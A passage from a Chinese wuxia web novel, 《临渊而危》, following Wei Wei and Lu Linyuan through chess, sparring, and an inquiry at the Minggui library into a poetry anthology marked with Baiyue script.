草木翁郁,入夏之后暑气一日盛过一日,桐花树枝叶繁茂,到了傍晚,斑驳光影在石桌旁边圈出一片阴凉。 陆临渊今日回来的早,正好赶上三叠峰的弟子前来送餐。 他本来恹恹的,用筷子拨开盘中的笋,听见这话抬起头来看着她:“哪里有那么夸张。” 这段时间魏危发现了,陆临渊这人在旁人面前包容,私底下其实特挑剔。 不喜欢吃的菜绝不会多吃一口,他就是那种不喜欢吃姜丝,哪怕姜丝混着洋番芋一起炒的,他也一定会一根一根把姜丝挑出来处理干净的人。 最后还给三叠峰一个干净的盘子,让石流玉那个呆头呆脑的小仙鹤觉得自己师兄对饭菜很满意。 魏危完全不能理解这种自己花时间找罪受的行为。 陆临渊垂着眼睫:“天气热了,没什么胃口。” 魏危想到同样是一口糕点嚼半天的乔长生,不由感慨:“你们中原人是金贵一些。” 陆临渊到最后其实也没吃多少东西,他手肘搭在扶手上,屈指搭着下巴,食指缓缓摩挲着脸颊,好像看着魏危吃饭是一件极愉快的事情。 这半月来难得悠闲的时刻,饭后陆临渊从房中搬出棋盘与棋子,与魏危啪嗒啪嗒的落子下棋。 流行于世家贵族之间的棋具各式各样,正如徽墨、宣纸、端砚在笔墨纸砚中出挑的,棋子也有一类被奉为上品,被称作云窑子,产地百越。 云窑子的原材料取自百越深山之中的紫英石和玛瑙,需要匠人手工滴子与打磨。 白子温润似白玉,光泽润糯柔和,黑子俯视若点漆,更绝妙的是若在阳光盛时,举棋对天,会发现其幽幽如碧玉,像是一潭山中秋水,盈盈绿波。 中原虽视百越为未开化的野蛮之地,但最僵硬古板的老学究也得承认云窑子客观的美丽,顶不过再酸溜溜说一句,这等天赐宝物产自百越真是暴殄天物了。 这句倒是没冤枉魏危。 魏危一边与陆临渊下棋,一边转着手中棋子。 对中原来说价值千金的云窑子,在她手里不过是手感极佳的飞蝗石。 ** 百越十二尸祝皆是性情古怪的老怪物,其中一位和魏危关系不错,他乐意与魏危切磋磨招,但前提是得陪他下棋。 一盘棋,一千招。 魏危与老怪物都觉得这是不错的买卖。 魏危往宽敞的椅上一坐,双腿交叠起来,手肘支在翘起的膝盖上,以一种相当潇洒的姿势与对面的人下棋。 如此磋磨了小半个时辰,老怪物端坐在那儿,呷了一口茶:“你的棋风冷硬,不留情面,固然在棋局上摧枯拉朽,但稍有不慎就会被蚕食。” 一招不慎,满盘皆输。 “不劳费心。” 魏危吃掉盘中黑子,淡淡抬眼,眼中微光轻闪,一眼让人联想到百越的巍巍高山。 “只要我杀得够快就行了。” 魏危围门一下吃掉了对方六颗棋子,老怪物看得肉疼,齿缝间嘶了一声,嘴硬道:“小鬼,你才见过多少人,遇见过多少高手,就敢说这样的话?” 魏危呵了一声,语气不算客气:“老怪物,你活了这么多年,遇见的天才之中,我不就是第一么?” 老怪物气笑:“人外有人天外有天,百越之外是兖州,兖州之外是中原腹地,数不清的高手如云,你怎么知道其它地方没有比你更强的人?” 魏危右手指尖夹着温润的棋子,云窑子在指缝中来回翻折,若隐若现。 她道:“只要我够强,这种可能就不会存在。” 说着,她忽然抓住翻玩的白色云窑子,大拇指屈起用力,看也不看往后一弹。 棋子像是飞蝗石一般射出,身后的密林中传来一声闷哼,林中传来什么重物掉落下来的声音,紧接着是草木被重物拖拽后窸窣声响。 魏危依旧支着头。 她身后枝叶摇曳,簌簌掉落海棠花瓣。 朱虞族人会处理心怀不轨的人,若是情无可原,她们会割开背叛者的喉咙,放干血液,剩余的肉身拿去沤肥。 百越巫祝从来杀伐果断。 又落了十几子,眼见老怪物败局已定,魏危将手中白棋扔回围棋罐中,只听得吧嗒一声响。 她拍了拍手:“棋艺不怎么样,嘴上功夫倒是不错。你要是把你磨嘴皮子的时间花在研究梅花棋谱上,也不至于这么多年还是这个臭棋篓子,其他十一尸祝都懒得和你玩,只能找我。” 老怪物:“……” 棋风如人,魏危这种人,对自己的实力很有自知之明,而她本人也完全没有谦虚的意思。 老怪物敢笃定,就算这世上真的有另一个天才打败了她,魏危也只会痛快认输,磨光自己的霜雪刀,锤炼自己的功夫,继续挑战他。 魏危或许会被打败,但她的道心却永远不可能崩溃。 老怪物活了这么多年才到这个境界,眼前一个小鬼居然有这么坚不可摧的道心,连他也忍不住感慨苍天对人就是不大公平的。 一局棋已结束,老怪物自然要兑现自己的诺言。 “打一场?”他问。 …… …… “我们打一场?” 陆临渊说出这话与魏危记忆中的场景重合,魏危以为她还在百越圣地,她面前的是那个臭棋篓子老怪物。 仿若是梦境中才会出现的一句话重叠,只是海棠变作桐花,百越圣地成了坐忘峰院子,老怪物改成了陆临渊。 陆临渊一双黑曜石般的眼睛垂着,正一颗一颗捡起棋子收回,如同工笔勾勒的唇色有些淡,含着三分笑,细看却没有温柔的感觉,只有一种漫不经心的倦怠。 原本靠在椅背上的魏危闻言精神一振。 陆临渊转性了! 魏危抽出霜雪刀,刀刃斜指向地面。 月亮已悬挂枝头,照在霜雪刀上,仿佛蒙着一层流淌着的清光。 陆临渊缓缓拔出君子帖,眼中神色不明,衣袖在月色里猎猎飘扬。 坐忘峰内一时剑光落起,金属撞击的哐啷声不绝于耳。 两人打得不分上下,一招一式凌厉漂亮,远远望去密不透风,如山海之潮。 若非霜雪刀与君子帖皆是当世绝顶兵器,早就崩口卷刃成了一柄废铁。 但令她没想到的是,三十招过后,陆临渊和突发恶疾一样,打着打着忽然一蹙眉,开始摆烂。 霜雪刀与君子帖再一次碰撞,却像是热刀切油,如入无人之地,魏危察觉到不对,牙间挤出一个“你!”,不再多言。 一招天人问仙被迫收手,原本气势汹汹的霜雪刀被主人强行收刀变线。 陆临渊手腕撩剑变式,抹身格刀,如一条滑溜的鱼转身掠过。 魏危像是一拳打进了一团棉花里:“……” 陆临渊往后退步卸力,却听见一声冷笑,他条件反射偏头避开,只听见“咻”的一声,一枚白子重重射在青石板上,石破天惊之声,地面转瞬被打出几道裂纹,带着昭然若揭的警告意味。 陆临渊顺着棋子的方向看去,魏危掂着手中棋子,面无表情地“呵”了一声。 “我以为是你今日突然来了兴致,结果给我搞了一坨大的。” 玩她呢? 魏危声线平静得毫无起伏:“敢在我的刀下分神,你是对我不会杀你这件事很有信心么?” 陆临渊睫毛被晚风簌簌吹动,淡淡笑着:“可你也确实不想杀我。” “……”魏危黑着脸想,怎么不能扇陆临渊这个不要脸的一巴掌。 打人不打脸,魏危活动了下手指,说干就干。 陆临渊只瞧见一道雪亮的银光朝他飞来,又是一颗白子,他侧身躲过,魏危趁此欺身一个正蹬踹,他被踢得一个趔趄,接着被缠手掖撞,摁到地上。 躺在地上的陆临渊不知道被碰到了哪里,闷哼一声。 魏危闻声忽然一顿。 她揍了燕白星十几年,下手自然是有轻重的,但不知道陆临渊这个人这这几天会不会有暗伤,她蹙眉看了他一眼,问道:“疼?” 陆临渊唔了一声,语气里 17. 太白诗集 《临渊而危》全本免费阅读 山下的桐花已谢干净了,过了清明,天气一天比一天热起来。 陆临渊这几日实在抽不开身,见魏危在坐忘峰里闲得慌,就与孔成玉说带着魏危在儒宗四处逛逛,被孔成玉冷笑回了一句“你当尚贤峰这儿没事情干的”。 但孔成玉还是传话与魏危说了一声,这儒宗三十二峰,除了正峰仁义峰与男子住的无为峰,去哪里都可以通报孔氏的名称,无人会拦着。 于是魏危在儒宗成了头一个游手好闲的,有时下山去丰隆酒楼吃饭,有时到无类峰去听先生上课消遣,还遇见了好几回乔长生。 画中国手琉璃君的课自然很是抢手,乔长生进门时,学堂乌泱泱一群人在底下窃窃私语。 他穿着一身青色衣袍,肤色苍白,腰上缀着通透羊脂玉的玉佩与智字腰牌,随着走动微晃叮当,如拔起的一竿青竹。 乔长生进儒宗时,家里人不放心,派了许多日月山庄的侍卫跟着。乔长生虽不愿这般费折,但耐不住父母担心,还是默认了。 此时随着乔长生进来,那几个侍卫和门神一样地护在身侧,乔长生目光转了一圈,却看见了在后头支着头的魏危,眼神不由顿住,脸登时红了一圈,只是因为气血不足,没那么明显。 等学堂安静了,乔长生咳嗽一声,才启唇道。 “今日我们讲《山水训》。” 画中理论是大课,能跟着乔长生作画的学子毕竟不多,常言“熟读唐诗三百首,不会作诗也会吟”,人品鉴书画的能力往往高出作画能力一截,学画之人刚刚开始必要会观画赏画。 学堂前面悬着一副《松峰泉石图》,乔长生声音郎朗,娓娓道来。 “此画笔法枯硬而少润,作画者出生江浙,却以豪放出名,他好以头髻取墨抵绢成画,或笑或吟,脚蹙手抹,或挥或扫,或淡或浓,随其形状为山、为石、为水、为云。应手随意,倏若变化……” 魏危听着听着,就睡了一觉。 ** 魏危是热醒的。 快入夏了,不知道谁给她披上一件退红色的杭缎外袍,素淡而精致,瞧着就价值不菲,魏危嗅着还有苦涩的药香。 大约是怕打扰她睡觉,外袍只是略微搭在她肩膀上,魏危一起身,袍子就落到了地上。 “……” 夏日好眠,魏危认清画画并非她所长,臂弯搭着外袍转了一圈,没找到乔长生。 不知道他是不是回了儒宗的住所。 要不就和登无悔崖一样,翻墙进去? 魏危顿了顿。 还是算了,一件外袍而已,翻墙怕吓到乔长生这样精致的公子,魏危想了想,还是将外袍带回了坐忘峰。 魏危练了一个多时辰的刀法,又去三叠峰洗了澡,回来后几乎把院落上上下下都翻了一遍,甚至闲来无事给徐安期的牌位上了柱香,兜兜转转,又到了陆临渊的房间。 魏危进陆临渊的房间就和回娘家一样自然,她塞了几枚戒指放到陆临渊被褥底下,接着四处翻翻,从书柜中找了几本书出来看。 ** 晚上回到自己房间,陆临渊看到的就是这么一副景象。 魏危靠在酸枝木美人榻上,房间里书柜的书抽了好几本放在桌上,一本太白诗集摊开盖着脸,手旁边搭着一件外袍,清爽闲适。 窗户开着,清风乱翻书,书页在风中如簌簌散开的花朵。 陆临渊的脚步很轻,他淡淡扫了一眼那件搭在榻上的退红色袍子,慢慢拾起桌上的书看了一眼。 魏危只是靠在美人榻上休息,陆临渊一进来就知道了。 她抬起上半身,盖着的那本诗集从脸上滑下来,被她顺手接住。 魏危问:“回来了?” 陆临渊回:“嗯。” 美人榻背后是深蓝色的天空,四下临着窗户,窗外隐约可见儒宗山峰,风穿堂而过。 是很惬意的景象。 陆临渊把手中拿着的《四书改错》放回桌上。 “这个作者私德一般,但学问很不错。孔圣曾言五十知天命,他放言不到知天命之岁不入朝为官,结果在四十九时死了。” 魏危被逗地笑了一声,眉眼弯弯。 陆临渊听见魏危的笑,手上慢慢摸着腰上的腰牌,接着说:“而且此人深得刑名家真传,别人说东,他就要说西,伶牙俐齿,喜好雄辩高谈,他所处的时代,竟少有人能辩驳过他的。” 魏危觉得中原这些学问家也是各有各的有趣。 她道:“在我们百越,这种人叫杠杆成精。” 魏危从美人榻上下来,手中还拿着那本《太白诗集》。 陆临渊很少见魏危对功夫之外的事情感兴趣,挑眉问道:“你喜欢李太白?” “他的诗很不错。”魏危修长的手指摩挲着那本以上等皮纸印刷的太白诗集。 好书就是这样,就算历经时光磋磨,依旧白皙如初,棱角峭厉。 魏危看了一眼陆临渊道:“别看我这样,其实百越的书也不少。我闭关两年,也不是和十二尸祝不是一天到晚的打架。” “我与那些老怪物下棋看书聊天,诸子百家的书我都看过一遍。” 陆临渊轻声,眼中含笑,真心夸赞道:“巫祝大人厉害。” 魏危抚摸诗集的封面道:“太白的诗在百越也算是人尽皆知,老怪物最喜欢《侠客行》。” 陆临渊若有所思问:“那你喜欢哪首?” “……” 魏危低着头,有一下没一下地翻着诗集。 “只要是好诗都喜欢,我觉得你们中原的诗仙很有趣。” 她道:“他既然能写出‘欲上青天揽明月’这等豪气的句子,怎么还写了‘人攀明月不可得’这种丧气话?” 陆临渊笑了一下,像是随口调侃道:“境遇不同,自然写出来的诗也不同,李太白放荡形骸,却也写过不少婉约缠绵的诗。” 魏危挑眉,略有些好奇:“什么?” 陆临渊眼睫投下一片淡淡阴影,抬起一双栖光的桃花眼,薄唇扬起一抹弧度,噙着说不清的笑意。 “……‘入我相思门,知我相思苦’。” 长相思兮长相忆,短相思兮无穷极。 18. 明鬼石室 《临渊而危》全本免费阅读 初夏午后,尚贤峰的孔氏居所。 从外到内,孔氏仆役小厮捧着东西安静出入,衣袂翩然,有世家高门之风。 孔成玉今日穿了一件苏锻荷茎绿的儒襟长袍,外头罩着一件月色纱衣,很是素净。 魏危跟着仆役进来时,她正在宽大的书案上执笔落墨,日光如熔金,被窗棂分割,落在洁白如卵的纸面上。 仆役领了魏危进书房,孔成玉搁下笔,隔着落地罩看了一眼,仆役就躬身闭门离开了。 令行禁止,孔氏家风可见一斑。 周围没有其他人,但孔成玉还是用年轻男子的嗓音开口。 “陆临渊已经与我说过了,那本诗集在哪?” ** “这本书是从儒宗明鬼峰里借出来的。” 陆临渊将太白诗集翻到最前一页,诗集是四周双栏的板式,扉页上盖着几个红章,他指向刻着明鬼文阁的那个。 “此章代表此书出处。” 天下藏书分为官藏、私藏、书院藏书与寺院藏书,儒宗明鬼峰藏书按照经史子集等几大分类,下面几个章代表书目分类。 魏危挑眉看向他:“你的意思是说,与你无关?” 陆临渊笑了一声:“我是儒宗子弟,明鬼峰也是儒宗三十二峰之一,自然不好说自己清白。” 陆临渊修长的手指支着自己的下巴,暖色朦胧烛光里,一双桃花眼泠泠如玉。 魏危淡淡扫他一眼。 这个人的模样分明在说“这件事和我一点关系都没有”。 魏危:“那我该拿这这本诗集去明鬼峰问明来路?” 陆临渊没有第一时间回答,只问:“你要查下去?” 魏危嗯了一声,说不出是什么情绪:“反正闲着也是闲着。” 太白诗集已被放到了桌上,陆临渊拿起它,垂眼又仔细翻了一遍。 魏危看着陆临渊淡然的眉目,微微挑眉:“你有线索?” 陆临渊合上书,答得干脆:“没有。” “……” “不过,”在魏危预备动手之前,陆临渊及时开口。 “我会和孔成玉说一声,你明天可以带着诗集问她。” ** 孔成玉接过魏危手中的太白诗集,翻到朱砂字那一页细细端详,眼睛不由一亮。 “果然是百越文字。” 孔成玉道:“百越自与中原有交流以来,原本的文字就逐渐消弭,改用中原文字,如今就算是百越,我估计也只有老人会写会认,明鬼峰那些博士认不出来也属正常。” 孔成玉两指捏着一张纸搓了搓,微微蹙眉,走到窗户边,举起纸张对着亮堂的光线,神色专注而安静。 无论是什么人,在他所擅长的领域总有一种认真的魅力。 “这本书用的是皮纸,格树皮和桑树皮所造,坚韧,抗蛀,比麻纸洁白平滑,珍本。” 孔成玉凝眉凑近纸张,感受指腹下的不平。 “雕版印,墨色清纯匀净,上品。” 她嗅了嗅纸张味,又道:“这朱砂……时间太久了,瞧不出什么来。” 翻到扉页,孔成玉眉目间露出果然如此的神色。 “这书虽然出自明鬼峰,但有日月昭昭的印。” 魏危:“那是什么东西?” “日月山庄家刻本的斋室名印,应当是几年前随着乔长生入儒宗一齐捐过来的。” 孔成玉思酌片刻:“至于这百越文字是之前还是之后写上去的,我带你去明鬼峰问问。” ** 魏危点了点刀柄:“……书既然出自明鬼峰,为什么要找孔成玉?” “于书道来说,她在儒宗数一数二,我远不能及。”陆临渊拨了拨今日送进院子的果子。 “况且你找她,与直接找明鬼峰峰主是一样的。” 魏危眨眼:“难不成孔成玉身兼数职?” 儒宗三十二峰峰主是可以兼任的?她这么多天怎么没听人说起过? 陆临渊抬眼:“明鬼峰主是她的母亲。” ** 进入明鬼峰之前,就有人上前检查,防止夹带引火易燃的东西。 进了明鬼峰中,远远瞧见獬豸角檐的木质文阁,孔成玉却绕过这些书楼,带着魏危往山里走去。 绕来绕去几圈,才进入一处山洞。 百越的山林比中原的平原还要多,山洞这种东西更是常见,魏危一眼就看出这处山洞是人工凿出来的。 洞内摆着一些家具,几位老者坐在石凳上悠然对弈,见到孔成玉进来,微笑着朝她点了点头,孔成玉也颔首致礼。 这几位老者看似普通,实则气息内敛,都是武功不低的高手。 孔成玉问:“母亲在么?” 老者点头。 孔成玉与魏危说:“这里不能佩刀,把刀卸下来,出来时还你。” 魏危一顿,倒也没有多说什么,利落地解了霜雪刀递给她。 孔成玉接过刀,一时眸色复杂。 她不是习武之人,但也知道对他们来说,佩刀佩剑如身家性命,无故不离身。魏危与自己不过一面之缘,谈不上多信任。 如此爽快,恐怕也是自信自己的实力,就算无刀也不妨事。 孔成玉带着魏危往里面走,直到站在一堵石壁之前。 四下漆黑,视物不见,孔成玉却好似来过无数次一般,双手在石壁上摸索,不知道怎么碰到机关,身形略微顿了顿,确认无误后才摁了下去。 一阵冷风吹过,石壁缓缓打开,一线光亮如折扇一般展开。 这间不起眼的山洞石壁后,才是真正的明鬼峰藏书室的入口。 ** 魏危没有想过,明鬼峰的山体居然是空的。 入口建在山腰上,有一段向下的青石阶梯,孔成玉带着魏危往下走,四面都是直通山壁顶部的书架,上面林林总总密密麻麻摆满了书籍。因为不能见明火,各处都放着夜明珠,明亮如晨曦。 四处有身着白衣的弟子交流走动,浩瀚的藏书架上有高高矮矮可调节的书梯,上面的人指挥着下面的人推动,从高处望去,如弹珠一般大小。 再往前走,会发现整座明鬼石室被分作四个区域,分别有专职人员负责收集、整理、抄录和入藏。 其中藏书又按照特有的名目分作四个区域,为了防虫, 19. 川不辞盈 《临渊而危》全本免费阅读 魏危与孔成玉走到深处,里头出现了一个房间,与山外相连,已到了明鬼峰的另外一边,正对着持春峰的求己崖。 古木苍苍,绿染林皋,若不从外头仔细看,发觉不了这里。 这件屋子脚底铺着清水石,光亮照在上面看上去盈盈,像是深不见底的水潭,让人疑心是否会一脚踩空。 会住在这里的人,不是已经老去禅心的道士,就是尚且饮冰凉血的侠士。 屋中坐着一个四十多岁的中年女子,眉眼恬静,身姿亭亭,并无娇矜气,一头乌发梳着妙常髻。 或许是在明鬼峰待久了,她面色略微有些苍白,但这却并没有折损她的气质。 孔成玉微微侧身,向魏危简单介绍:“这位是明鬼峰的姜峰主,也是我的母亲。” 中年女子放下手中书卷,抬头朝孔成玉与魏危两人微微一笑,有种说不出的丰韵。 “我姓姜,名辞盈。” 姜辞盈只是静静端坐在那里,魏危却总觉得她身上有着更加拨人的气质。 波涛汹涌的大海纵然内敛,也可依稀可想象十多年前她初来儒宗时,芍药花色灼灼,雍容而耀眼,腰系革带,脚踏乌靴的肆意模样。 然而再定睛一看,不过是一个面容模糊的笑容,娴静的明鬼峰主。 ** 姜辞盈听孔成玉讲完来龙去脉,不由挑眉道:“竟有这样的事?” 她接过魏危手中的太白诗集细细研究,得出的结果与孔成玉一样。 “……” “这一批书是随着乔长生来儒宗授课时一起捐过来的。” 姜辞盈颇为感慨地摸了摸这本诗集,仿佛穿越时光与故人相逢。 “许多年前,日月山庄也以文采出名,乔长生的外祖母就是藏书大家,她嫁到日月山庄时书籍运了整整十六匹马。她的女儿乔青纨八岁作赋,文采斐然,后来专精篆刻。我少年游历江湖时去过扬州,是个很有灵气的女子,可惜和乔长生一样,身体不怎么好。” “‘日月昭昭,朱笔可鉴’,凡是出自日月山庄的藏书都是精品,后来日月山庄到乔青纨这一代专攻武艺,山庄藏书的名号渐渐就没落了。” 想起一年前的事情,姜辞盈还觉得历历在目。 “乔长生当时受母亲嘱托,运了一车珍本来儒宗。说明鬼文阁闻名天下,这些书放在日月山庄不免埋没,不如捐到这里以示后人,总不辜负。” “我记得这些书分成了两类,如《太白诗集》这种市面上并不罕见的放到了外头的明鬼文阁,一些孤本珍本就暂且放在石室里抄录整理。” 姜辞盈唤了一个白衣女子进来,将腰上佩戴的峰主木牌给她,叫她找两样东西,一件是文阁的借阅记录,一件是记录了当时收下藏书的明鬼书目。 趁着这间隙,姜辞盈开口问道:“魏姑娘既然能认出这几个百越文字,不知是否精通百越文?” 想起陆临渊说的,魏危面不改色地摇了摇头。 见魏危摇头,姜辞盈甚是惋惜:“自二十年前那一场混战,百越与中原的交流几乎断绝。听说如今的百越也不再用这些字,我怕百越文字来不及记录就此失传了。” 魏危想了想百越如今的情形,迟疑停顿:“……应当不至于。” 女子脚程很快,很快将要找的东西与木牌一起奉上。 姜辞盈快速翻了一遍借阅记录,上面写着这本太白诗集在放到外头文阁的当天就被陆临渊借走了,上头还签着陆临渊蝇头小楷的姓名。 姜辞盈颔首道:“既然如此,这上面的百越文字大约是从日月山庄到这里之前就有的。” 姜辞盈又找来当时整理抄录这些书籍的博士,他们都表示对这几个文字有印象,以为是日月山庄那边别具一格,喜欢在书上到处盖章,既然如此,多个像是画一样的涂鸦也不足为奇,当时也没有细看。 姜辞盈挑眉,这下连孔成玉有些讶然,问什么盖章图画? 盖着“日月昭昭”印,等同日月山庄最好一批的家刻本藏书,怎么会和章总的藏本一样,到处盖章? “没有那么夸张。我记得似乎每一本在角落盖着一字单章,不碍观瞻。”白衣博士笑道。 “文人本就爱闲章,北朝有个自号十二峰人的,有一枚‘天下第一伤心男子’印,盖到了《燕山山居图》的山石上,被后世大骂。” 这话逗得周围一片笑声,向来不苟言笑的孔成玉也不由莞尔。 “有些意思。”姜辞盈淡笑,十指交叠放在腹部,右手食指摩挲着指缝,垂下的眸子中却若有所思。 姜辞盈叫这些博士回去,接着吩咐身旁的白衣女子将当年日月山庄捐赠的那些书都找来。 共计二百三十五本。 房间不一会就被书籍铺满,姜辞盈低下头翻阅,孔成玉问:“母亲,是哪里有不妥吗?” 姜辞盈只道:“想起了一些旧事。既然这些书都是一块来的,或许和百越文字有关。” 姜辞盈翻阅的速度很快,纸张哗啦沙沙作响,十指在其中翻折往返,像是眼花缭乱的剑招。 魏危略有些意外地看了一眼姜辞盈,姜辞盈也察觉到什么倏而抬头,朝她一笑。 姜辞盈的手指并不好看,到处可见薄茧。 这样的茧子魏危见得多了,不是文茧,而是—— 剑茧。 目测她手上积年的茧子,可以想见当年她也是江湖上一位名气不小的侠客。 “……” 女扮男装的孔成玉,曾为剑客的姜辞盈,孔氏这一家走得当真都不是寻常路。 姜辞盈沉吟:“当年去扬州日月山庄作客,乔青纨烹茶以待,指堆积书史,笑言某事在某书某卷第几页第几行。如此爱书,不像是会在藏书上留章的人。” “我在想是不是其中有些不能直接为人所道的东西。” 魏危于文人书籍印章这一道上并没有什么自己的见解,倒是孔成玉帮着自己母亲整理书册时,低头说了几个想法。 姜辞盈尾音上挑,颇为赞同地点了点头,说了句不错。 她随手挑出几本书,找到盖着单字章的那几页摆在一块,似乎找到了什么规律,但过了一会又重新打乱,蹙眉望去,始终不得章法。 过了片刻,姜辞盈才开口:“解铃还须系铃人,这些书印得很早,乔长生大约也不清楚其中的关窍。可惜我与乔青纨并无多大交情,如果魏姑娘将来去扬州,或许可以问个明白。” 这话的意思就是明鬼峰暂时只能查到这里了。 魏危来之前就知道直接找到写这百越字的人不大可能,所以也没有太失望。 知道诗集来自日月山庄,这已经是一条抓得住的线索了。 魏危开口道:“希望二位为我保密。” 姜辞盈淡笑:“这个自然。” 魏危又问:“还有,这本诗集我可以带走吗?” 姜辞盈顿了顿,却是孔成玉回答了她:“可以。” 姜辞盈看了一眼自己的女儿,没有再说什么,点了点头道。 “如果这些书里还有什么发现的,我会叫成玉与你说的。” ** 山色朗润,峰峦窈窕。 近日不知道为什么,陆临渊又清闲了一些,今日还能等到魏危从明鬼峰回来。 魏危推门而入,正看见陆临渊穿着儒宗弟子的青色袍子,恹恹地支着下巴,坐在院中石阶上,和钓鱼一样。 陆临渊等了半天,终于有一条鱼上钩了。 魏危推门进来,院中石桌上摆着一海碗粥。 汤底是猪骨熬成的骨汤,又用籼米熬上整整一个多时辰,加上慈姑块、鱼片、虾仁,还有去岁晒干保存的莲子,粥水糯香,正是夏日没什么没胃口时的吃法。 虽有桐花树遮阴,但院子中间还是太热,魏危端起半温的粥,一撩袍子,坐在石阶阴凉处。 石阶上头摆着一个小桌子,刚刚好够两个人支着胳膊靠上去。 魏危与陆临渊一左一右,和门神一样坐着。 廊下探进几枝碧绿的桐花枝条,翠绿鲜亮。 陆临渊困倦的很,知道魏危回来了,他抬起眼睛,打量着她的脸色:“去那边问出什么来没有?” 魏危拿着白瓷勺搅着粥,瓷器碰撞发出叮当声响:“不算没有消息,至少知道了这本书是日月山庄那边捐来的。” 陆临渊整个人的分量都压到了小桌上,闻言懒洋洋嗯了一声,问:“日月山庄,乔长生那个? 20. 何时归之 《临渊而危》全本免费阅读 第二日清早。 陆临渊站在儒宗三百二十阶圣贤梯末尾处,百无聊赖地等着乔长生那位兄长。 几日前师父就与他说过这件事,没想到乔长生这位兄长脚程这么慢,从扬州到青城,走了整整半个月。 他们难道是游过来的吗? 早起时魏危还睡着,陆临渊已在这里闲候着了,结果等魏危从坐忘峰出来下山打牙祭,路过这儿,纳罕地咦了一声,发现他还在这里等。 陆临渊眼睁睁看着魏危和他打了招呼,一摆手潇洒走了。 陆临渊:“……” 话说乔长生那兄长叫什么来着,怎么和乔长生一样喜欢与他添堵? “——贺归之。” 一旁的石流玉翻了翻名册,有些好奇喃喃。 “乔先生与他兄长的姓氏怎么不一样?” 原本接洽外来人的事情都是三叠峰应酬范围之内,就算乔长生作为琉璃君来儒宗教书,儒宗承情感念,其实也不必陆临渊出来。 但陆临渊不仅亲自来了,还等了许久。 石流玉看陆临渊所作所为都蒙着一层不太灵光的滤镜,自然赞叹师兄这般亲力亲为的心性,绝看不出陆临渊此时恨不得此时一脚把贺归之踹出儒宗大门。 “这师兄你就不知道了吧。” 回答的是一个圆脸弟子,几个人围在一块在这儿等着无聊,压低了声音说话。 “日月山庄是由扬州乔家创立的,到乔长生母亲这一代就只有一个女儿。如今的山庄庄主贺知途入赘进乔家之前还有一个儿子,所以贺归之跟着父亲姓,乔长生跟着母亲姓。” 石流玉讶然:“贺知途是二嫁娶?日月山庄竟肯要他入赘?” 圆脸弟子神神秘秘,颇有经验似的:“有时候带着孩子的鳏夫也别有韵味……” 石流玉:“……” ** 远远传来马跑之声,石流玉循声望去,正是一行自扬州而来马车,隐约可见为首的骑着高头大马,耀目光华。 离得近了,为首男子踩着下马石下马,他穿着靛蓝箭袖长袍,眉骨高耸,额上带着一根银白色云纹的抹额,眼睛亮的惊人,锋芒将出的模样,咄咄逼人。 贺归之与乔长生看起来完全就是两个类型,贺归之所言所行一股江湖风范,而乔长生一看就是学堂中出来的儒生。 若是两个人站在一块,旁人都不知道他们是同父异母的兄弟。 “日月山庄,贺归之。” “儒宗,陆临渊。” 贺归之闻言不由看了陆临渊一眼。 儒宗陆临渊横扫百越四大巫咸的战绩在中原传得颇远,在这其中,不乏有时无英雄使竖子成名的争论。 然而陆临渊久居儒宗,深居简出,贺归之听那些真真假假的传闻那么久,还是第一次见到真人。 贺归之抱拳,唇角萧肃含笑:“何劳如此儒宗如此兴师动众迎接,原本贪快,想走水路,可惜山庄中侍卫有许多晕船的,未达青城就上吐下泻,只好在途中调养了许久,惭愧。” 又道:“听闻儒宗明鬼峰有天下藏书,庄主命我整理了一批藏书,以示日月山庄与儒宗交好之意。” 陆临渊微微挑眉,只道客气。 三叠峰负责录名收书,石流玉上前交接,而陆临渊与贺归之已踏上圣贤梯,远远望去,好似一对亲密友人。 贺归之问:“长生呢?怎么不见他的人?” 乔长生原本也是要来接他兄长的,可是他前几日晚上睡觉吹了风着凉,早上才喝了药浑浑噩噩睡着。 贺归之闻言面露忧虑之色:“长生从小身体不好,当年他要来儒宗,我与父亲其实也是百般不同意的。但他执意如此,只好多麻烦儒宗照看他。” 陆临渊淡笑:“乔先生愿意来儒宗授课,是儒宗之幸。” 两人这么一唱一和说了几回合,山中凉风从两人之间无声地穿过,静静。 贺归之目光往下偏了偏,漆黑如墨的眼睛看着陆临渊腰上佩剑。 “久闻其名,这就是姜夫人铸的君子帖?” “是。” 贺归之俊俏的脸庞挂着笑:“不知比起日月山庄的刀如何。” 陆临渊面上还是淡淡:“平常而已,并没有多神乎其神。” 贺归之勾着的笑意未褪,只一转身,却见一道寒光瞬间扬起,他竟然在这瞬息拔出了佩刀,骤然劈向陆临渊! 陆临渊抬手,青色袖袍迎风遮住两人之间的界限,纤 21. 只见小人闪鬼影 《临渊而危》全本免费阅读 乔长生醒来时,觉得自己的嗓子又干又痒。 他的身体像是一个木桩子,在其中闷闷烧着瘟疫一般橙色的火热。虽不见明火,却足以慢慢将人熬成灰烬。 乔长生闭着眼睛,摸索着床头的茶盏,却不防有人抢先一步,将温热的茶盏塞到他手中。 乔长生从小有虚火之症,每每从睡梦中转醒,心中总有一股无名之火,神思倦怠,浑浑噩噩。 只有喝一些冰凉的东西,才能将那股虚火压下去,让人舒服一些。 日月山庄跟来的侍卫很少贴身伺候,床头茶盏也向来冰凉。 乔长生心下一颤,睁开眼睛,却是阔别已久的兄长的脸庞。 乔长生喉咙沙哑,眼中可见惊喜,溢出一点湿润:“兄长。” 贺归之微微地笑,一身箭袖衣袍,更显意气风华:“醒了?” “先喝点水。” 乔长生咳嗽一声,匆匆咽下几口温水,接着从床上爬起,有些懊恼:“兄长什么时候来的?我竟不知道。” 贺归之放下茶盏,扶他起来:“早上来的,听说你病了,就没叫醒你。” 他熟稔拿起衣架上挂着的素色披风,手一抖展开,给乔长生披上。 小时候乔长生体弱多病,他的母亲乔青纨也身体不好。 贺庄主爱护妻子,自己衣不解带地照顾乔青纨,照顾陪伴乔长生的职责就落到了贺归之头上。 乔长生长大了,已是世所周知的画中国手琉璃君。 但在贺归之眼里,乔长生还是当年那个额头顶着毛巾,不肯睡去的孩子。 乔长生坐在床上披着薄被子,与许久不见的兄长聊天。说话说久了,不免咳嗽几声。 贺归之皱眉,眉眼微垂,冷声询问留在儒宗侍候的侍从:“你们怎么侍候的少公子?” “……” 乔长生连忙拉住贺归之:“不关他们的事,是我自己晚上贪凉吹风。” 贺归之蹙眉:“贪凉是因为你的病症,他们做事不尽心是他们的事情。” “还有。” 贺归之念出一个名字,随着他来青城的随从出来一个人,模样有些惴惴。 贺归之问:“这个侍从你不喜欢?怎么打发回来了?” 这正是乔长生初遇魏危时,对魏危出言不逊的那个侍从。 乔长生想起当时事,一时有些恍然,面上晕染出一点绯红。 